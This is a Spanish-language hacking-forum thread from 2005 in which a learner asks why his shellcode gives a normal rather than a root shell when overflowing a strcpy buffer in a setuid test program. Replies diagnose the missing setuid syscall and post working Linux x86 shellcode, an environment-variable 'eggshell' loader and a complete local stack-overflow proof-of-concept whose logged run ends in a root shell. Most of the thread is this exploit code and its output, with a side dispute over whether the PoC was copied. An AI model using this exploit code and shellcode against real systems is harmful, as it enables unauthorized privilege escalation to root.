elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:22  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  problema con shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema con shellcode  (Leído 1,433 veces)
neuromante

Desconectado Desconectado

Mensajes: 63


Ver Perfil
problema con shellcode
« en: 8 Febrero 2005, 04:03 »

hola amigos, estoy aprendiendo a hacer mis propias shellcodes y exploits y se me planteo un problema desde hace unos dias, el mismo todavia no lo he podido solucionar.
estoy tratando de explotar el siguiente programa vulnerable:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv[])
{
        char buffer[512];

        if(argc < 2 ) {
                printf("Uso: %s <SuNombre>\n", argv[0]);
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("Tu nombre es: %s\n", buffer);
        return 0;
}

Estoy utilizando el siguiente codigo en asm para mi shellcode:

int main()
{
        __asm__(
                "xorl %eax, %eax\n"
                "pushl %eax\n"
                "pushl $0x68732f2f\n"
                "pushl $0x6e69622f\n"
                "movl  %esp, %ebx\n"
                "pushl %eax\n"
                "pushl %ebx\n"
                "movl %esp, %ecx\n"
                "xorl %edx, %edx\n"
                "movb $0xb, %al\n"
                "int $0x80\n"
                "xorl %eax, %eax\n"
                "incb %al\n"
                "xorl %ebx, %ebx\n"
                "int $0x80\n"
        );

}

Ahora tengo los opcodes metidos en un programa que se llama eggshell, el mismo mete el shellcode en la memoria:

#include <stdio.h>
#define NOP 0x90

char shellcode[]=
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
        "\x31\xd2\xb0\x0b\xcd\x80";
main()
{
  char shell[512];
  puts("Eggshell cargado en el entorno.");
  memset(shell,NOP,512);
  memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
  setenv("EGG", shell, 1);
  putenv(shell);
  system("bash");
  return(0);
}

Ahora tengo otro mas para encontrar la direccion:

int main(void)
{
   printf("0x%lx\n", getenv("EGG"));
   return 0;
}

Ahora el programa vuln1 lo hice setuid:

bash-2.05b$ ls -l | grep vuln1
-rw-r--r--  1 frode users    243 2005-02-07 12:58 supervuln1.c
-rwsr-sr-x  1 root  users  10874 2005-02-07 14:55 vuln1
-rw-r--r--  1 frode users    250 2005-02-07 14:53 vuln1.c
bash-2.05b$

Ahora en el momento de explotar hago lo siguiente:

bash-2.05b$ ./eggshell
Eggshell cargado en el entorno.
bash-2.05b$ ./eggfind
0xbffff72d
bash-2.05b$ ./vuln1 `perl -e'print "A" x 516'``printf "\x2d\xf7\xff\xbf"`
Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿
bash-2.05b$ ./vuln1 `perl -e'print "A" x 520'``printf "\x2d\xf7\xff\xbf"`
Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿
Segmentation fault
bash-2.05b$ ./vuln1 `perl -e'print "A" x 524'``printf "\x2d\xf7\xff\xbf"`
Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿
sh-2.05b$

Cuando hago el overflow con 524 al parecer se ejecuta mi shell.
El tema es que no se ejecuta el shell de root, al probarlo con otros shellcodes encontrados por la red funciona perfectamente y obtengo la shell de root.
Alguien puede explicarme cual es el problema con mi shellcode????
Gracias y salu2 para todos



En línea
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: problema con shellcode
« Respuesta #1 en: 8 Febrero 2005, 04:41 »

Estas empujando todo al stack, por lo que veo, no es que este mal, solo a mi no me gustan esas shellcodes si estas probando cosas pero bueno.
Leyendo tu shellcode no veo donde haces setuid ?
TIenes que tener un syscall que setee el uid a 0,, pero no    veo donde llamas a setuid(creo es ), tambien puedes usar setruid...bueno en fin intenta hacerlo.
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: problema con shellcode
« Respuesta #2 en: 8 Febrero 2005, 04:54 »

Y usa las etiquetas de codigo  >:(
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: problema con shellcode
« Respuesta #3 en: 8 Febrero 2005, 06:15 »

Código:
  xorl %eax, %eax ; 0
                pushl %eax
                pushl $0x68732f2f" ;/sh
                pushl $0x6e69622f ;/bin
                movl  %esp, %ebx
                pushl %eax
                pushl %ebx
                movl %esp, %ecx
                xorl %edx, %edx
                movb $0xb, %al ; execve
                int $0x80 ; run
; hasta aca bien pero luego ?             
                xorl %eax, %eax ; 0 again?
                incb %al
                xorl %ebx, %ebx ; 0 ebx ?
                int $0x80 ; RUN ??? why ?


Hmm nunca veo que llames a setuid (la 23) o llama a setreuid(70), es sencillo, la primera de cuadra real UID, xor eax, eax y la segunda asigna real y efective user ID, el llamado es de esta int setreuid(uid_t ruid, uid_t euid);

Pruebale y me dices, ademas explicame esa ultima parte del shellcode que no cogi :(
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: problema con shellcode
« Respuesta #4 en: 8 Febrero 2005, 07:16 »

Como dice heap, es mejor usar un jmp->call para tel tema de los strings.

En la web, en la sección "Textos y Manuales", estan 2 textos muy buenos de RaiSe (Undersec-NetSearch) sobre shellcodes en Linux.

La verdad es que algunas instrucciones sobran, y despues del int $0x80 (la llamada a la syscall) creo que simplemente copiaste los opcodes creyendo que aquello que seguia era "shellcode", pero no xD (no se si me explico)

Por lo demas, heap lo ha dejado bien explicadito.

Por cierto, no se porque usas un eggshell por un lado,y un findegg por otro, los eggshell que he visto, te devuelven directamente la direccion, sin tener que ejecutar otro programa.

Código:
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
     "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {
        __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
        char *buff, *ptr, *egg;
        long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
        int i, eggsize=DEFAULT_EGG_SIZE;

        if (argc > 1) bsize   = atoi(argv[1]);
        if (argc > 2) offset  = atoi(argv[2]);
        if (argc > 3) eggsize = atoi(argv[3]);


        if (!(buff = malloc(bsize))) {
                printf("Can't allocate memory.\n");
        exit(0);
        }

        if (!(egg = malloc(eggsize))) {
                printf("Can't allocate memory.\n");
        exit(0);
        }

        addr = get_esp() - offset;
        printf("Using address: 0x%x\n", addr);

        ptr = buff;
        addr_ptr = (long *) ptr;
        for (i = 0; i < bsize; i+=4)
        {
                *(addr_ptr++) = addr;
        }
        ptr = egg;
        for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';
        memcpy(egg,"EGG=",4);
        putenv(egg);
        memcpy(buff,"RET=",4);
        putenv(buff);
        system("/bin/bash");
}

[vangelis@localhost bof]$ gcc -o eggshell eggshell.c
[vangelis@localhost bof]$ ./eggshell
Using address: 0xbffff8f8

El que un programa sea "propietario" de root no significa que cuando lo ejecutes adquieras privilegios de root. Eso solo lo tienen los archivos SUID (o SGID para el grupo root), eso si te ceden momentaneamente los privilegios del propietario para realizar las acciones oportunas.

Para ver si es un SUID:

[root@localhost bof]# ls -l vul
-rwsr-xr-x    1 root     root

Para convertirlos en SUID:

chmod 4755 vul  (antes tiene que ser propietario de root, cambiarlo con chown)

4 --> SUID
7 --> rwx (111)
5 --> r-x (101)

Espero que te sirva.

Salu2
En línea

HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: problema con shellcode
« Respuesta #5 en: 9 Febrero 2005, 04:51 »

Código:
/*
  Name: 'x' >> x.c
  Copyright: [N]eo [S]ecurity [T]eam [NST]® - http://neosecurityteam.net/
  Author: HaCkZaTaN
  Date: 26/01/05 16:17
  Description: Local Stack Buffer Overflow
*/

/*
Test:
root@NST:/home/h4ck# ./v
Uso: ./v <SuNombre>
root@NST:/home/h4ck# ./v `perl -e 'print "A" x 523'`
Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@NST:/home/h4ck# ./v `perl -e 'print "A" x 524'`
Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@NST:/home/h4ck# mmm yo no creo que EIP se alla sobre escrito tratemos haber de otra manera
-su: mmm: command not found
root@NST:/home/h4ck# ./v `perl -e'print "A" x 524'``printf "\x42\x42\x42\x42"`
Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Segmentation fault
root@NST:/home/h4ck# gdb ./v
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) r `perl -e'print "A" x 524'``printf "\x42\x42\x42\x42"`
Starting program: /home/h4ck/v `perl -e'print "A" x 524'``printf "\x42\x42\x42\x42"`
Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp eip ebp
esp            0xbffff630       0xbffff630
eip            0x42424242       0x42424242
ebp            0x42424242       0x42424242
(gdb) q
The program is running.  Exit anyway? (y or n) y
root@NST:/home/h4ck# OK EIP Se sobre escribio ahora codeemos
-su: OK: command not found
root@NST:/home/h4ck#

---------------------------------------------------
bueno yo le coloque a 'v'
root@NST:/home/h4ck# chmod 4755 v && chown root.root v
root@NST:/home/h4ck#

h4ck@NST:~$ ./x
Use: ./x <path>
h4ck@NST:~$ ./x /home/h4ck/v

[+] 'x' >> x.c Local Stack Buffer Overflow (Proof of Concept)
[+] by HaCkZaTaN <hck_zatan@hotmail.com>
[+] [N]eo [S]ecurity [T]eam [NST]® - http://neosecurityteam.net/
[+] Ret: = 0xbfffffd1
[+] Shellcode : 29
[+] Waiting............
Tu nombre es: Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ñÿÿ¿Ø
sh-3.00# id
uid=0(root) gid=100(users) groups=100(users)
sh-3.00#
*/

#include <stdio.h>
#include <strings.h>
#define BUFFER 524 + 1

char shellcode[]=
/* Shellcode by HaCkZaTaN */
// setuid(0)
"\x31\xdb"                  //xor    %ebx,%ebx ; 0
"\x53"                      //push   %ebx
"\x8d\x43\x17"              //lea    0x17(%ebx),%eax ; SYS_setuid
"\xcd\x80"                  //int    $0x80 ;kernel
//execve()
"\x99"                      //cltd
"\x68\x6e\x2f\x73\x68"      //push   $0x68732f6e 'hs/n'
"\x68\x2f\x2f\x62\x69"      //push   $0x69622f2f 'ib//'  > /bin/sh
"\x89\xe3"                  //mov    %esp,%ebx
"\x50"                      //push   %eax
"\x53"                      //push   %ebx
"\x89\xe1"                  //mov    %esp,%ecx
"\xb0\x0b"                  //mov    $0xb,%al ; SYS_Execve
"\xcd\x80";                 //int    $0x80 ;Kernel

int main(int argc, char *argv[])
{
   char *env[3] = {shellcode, NULL};
   char buf[BUFFER], *path;
   int *buffer = (int *) (buf);
   int i, ret;

   if(argc != 2) {
      printf(" Use: %s <path>\n", argv[0]);
      exit(0);
   }

   path = argv[1];

   ret = 0xbffffffa - strlen(shellcode) - strlen(path);

   for(i=0; i<=BUFFER; i+=4)
   *buffer++ = ret;

   printf("\n[+] 'x' >> x.c Local Stack Buffer Overflow (Proof of Concept)\n");
   printf("[+] by HaCkZaTaN <hck_zatan@hotmail.com>\n");
   printf("[+] [N]eo [S]ecurity [T]eam [NST]® - http://neosecurityteam.net/\n");
   printf("[+] Ret: = %.8p\n", ret);
   printf("[+] Shellcode : %d\n",strlen(shellcode));
   printf("[+] Waiting............\n");

   execle(path, "v", buf, NULL, env);
}
Salu2!!
En línea

neuromante

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: problema con shellcode
« Respuesta #6 en: 9 Febrero 2005, 05:08 »

Muchas gracias por todas sus respuestas, la verdad me sorprendio la atencion que le pusieron a mi pregunta y se los agradezco mucho.
En este momento voy a probar lo que me dijieron, pero la verdad creo que con todo esto quedo mas que claro el tema.
La verdad no sabia que tenia que llamar a setuid() en el shellcode y seguro que es por eso que no funciona.
agradezco a heap porque la verdad me quedo todo claro lo que dijo,  gracias man ;).Te explico que despues del primer int 0x80 que es el que llama a execve no deberia haber nada estoy de acuerdo.
En una de las pruebas que hice trate de meterle un exit(0) despues de la ejecucion del shell, se ve que el codigo que pegue estaba con eso, pido disculpas eso no va.
Para Crack_X y su "Y usa las etiquetas de codigo" no entendi a que etiquetas hacia referencia.
Gracias a Rojodos por el codigo expuesto y la explicacion dada.
En fin salu2 para todos y hasta pronto.
 
En línea
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: problema con shellcode
« Respuesta #7 en: 9 Febrero 2005, 05:18 »

De nada
En línea

Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: problema con shellcode
« Respuesta #8 en: 9 Febrero 2005, 05:24 »

una pregunta acerca del code de hackzatan.

execle(path, "v", buf, NULL, env);

Por lo que vi la función recibe el path del programa, los argumentos (incluyendo argv[0], el nombre, en este caso "v") y por último env. Por lo que sé, env se refiere en general a las variables de entorno, pero en este caos no entienedo por qué pasa la shellcode de esa manera.

Además, no entiendo por qué pasa el parámetro NULL.

Saludos.
En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: problema con shellcode
« Respuesta #9 en: 9 Febrero 2005, 06:09 »

una pregunta acerca del code de hackzatan.

execle(path, "v", buf, NULL, env);

Por lo que vi la función recibe el path del programa, los argumentos (incluyendo argv[0], el nombre, en este caso "v") y por último env. Por lo que sé, env se refiere en general a las variables de entorno, pero en este caos no entienedo por qué pasa la shellcode de esa manera.

Además, no entiendo por qué pasa el parámetro NULL.

Saludos.
nada path es el argv[1], no recive argv[0], en este caso nuestro amigo hackzatan a logrado copiar otro codigo, y lo modifico para hacerlo parecer que es de el, no hay necesidad de poner ese path = argv[1], pero bueno igual ese code es un RIP OFF al igual que el shellcode, la mayoria de codes de hackzatan que he visto lo son. Porque NULL ? mira man 2 execle, cada array del entorno debe ser terminado con un NULL pointer, igual y puedes poner un 0 si te gusta.
bye, y no es por molestar a hackzatan, porque me cae bien, pero no se ve bien eso de ligeramente modificar algo y atribuirselo.
En línea

neuromante

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: problema con shellcode
« Respuesta #10 en: 9 Febrero 2005, 06:11 »

gracias HaCkZaTaN, perdon por no haberte nombrado.
tambien fuiste de gran ayuda.
salu2
En línea
Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: problema con shellcode
« Respuesta #11 en: 9 Febrero 2005, 06:13 »

una pregunta acerca del code de hackzatan.

execle(path, "v", buf, NULL, env);

Por lo que vi la función recibe el path del programa, los argumentos (incluyendo argv[0], el nombre, en este caso "v") y por último env. Por lo que sé, env se refiere en general a las variables de entorno, pero en este caos no entienedo por qué pasa la shellcode de esa manera.

Además, no entiendo por qué pasa el parámetro NULL.

Saludos.
nada path es el argv[1], no recive argv[0], en este caso nuestro amigo hackzatan a logrado copiar otro codigo, y lo modifico para hacerlo parecer que es de el, no hay necesidad de poner ese path = argv[1], pero bueno igual ese code es un RIP OFF al igual que el shellcode, la mayoria de codes de hackzatan que he visto lo son. Porque NULL ? mira man 2 execle, cada array del entorno debe ser terminado con un NULL pointer, igual y puedes poner un 0 si te gusta.
bye, y no es por molestar a hackzatan, porque me cae bien, pero no se ve bien eso de ligeramente modificar algo y atribuirselo.

no me quedó muy claro eso del NULL, pero en un rato hago man y me fijo. Gracias por contestar.
En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: problema con shellcode
« Respuesta #12 en: 9 Febrero 2005, 09:16 »

No necesito copiar codigo de nadie.

Ese codigo es el mas simple de todos por que no me toca que hacer nada. El lo hace todo por Brute Force.

Salu2!!!
En línea

heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: problema con shellcode
« Respuesta #13 en: 9 Febrero 2005, 12:41 »

No necesito copiar codigo de nadie.

Ese codigo es el mas simple de todos por que no me toca que hacer nada. El lo hace todo por Brute Force.

Salu2!!!
Ya we me caes bien, pero anda almenos lee el code, no es nada que tenga que ver con bruteforce, bruteforce seria si usaras NOPS pero aca le das al shellcode directamente.

 
Código:
  ret = 0xbffffffa - strlen(shellcode) - strlen(path);

El codigo es muy bueno, es explotacion muy reliable, porque precisamente no hace bruteforce para encontrar el shellcode, pero no es tuyo, aunque igual te quiero hackzatan...
bye......
En línea

HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: problema con shellcode
« Respuesta #14 en: 9 Febrero 2005, 13:22 »

 ::) Yo tambien =) \=
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
.:. Shellcode 2 ASM .:.
ASM
Garfield07 13 1,916 Último mensaje 3 Enero 2011, 20:31
por Garfield07
Ayuda con shellcode
Bugs y Exploits
BrownRabbit 1 399 Último mensaje 1 Abril 2011, 21:20
por hackspy
problema con shellcode demasiado larga
Bugs y Exploits
black_flowers 3 912 Último mensaje 22 Abril 2011, 19:51
por black_flowers
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines